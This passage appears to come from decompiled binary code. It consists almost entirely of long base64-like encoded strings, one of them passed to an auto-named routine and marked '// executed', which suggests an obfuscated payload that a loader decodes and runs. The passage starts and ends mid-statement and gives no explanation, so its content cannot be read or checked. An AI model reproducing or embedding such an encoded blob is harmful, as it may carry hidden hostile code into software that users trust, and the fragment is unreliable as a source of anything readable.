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"); // executed
				r8d = r8d ^ r8d;
				E10006BE0(_t131, _t155, _t157, _t155, "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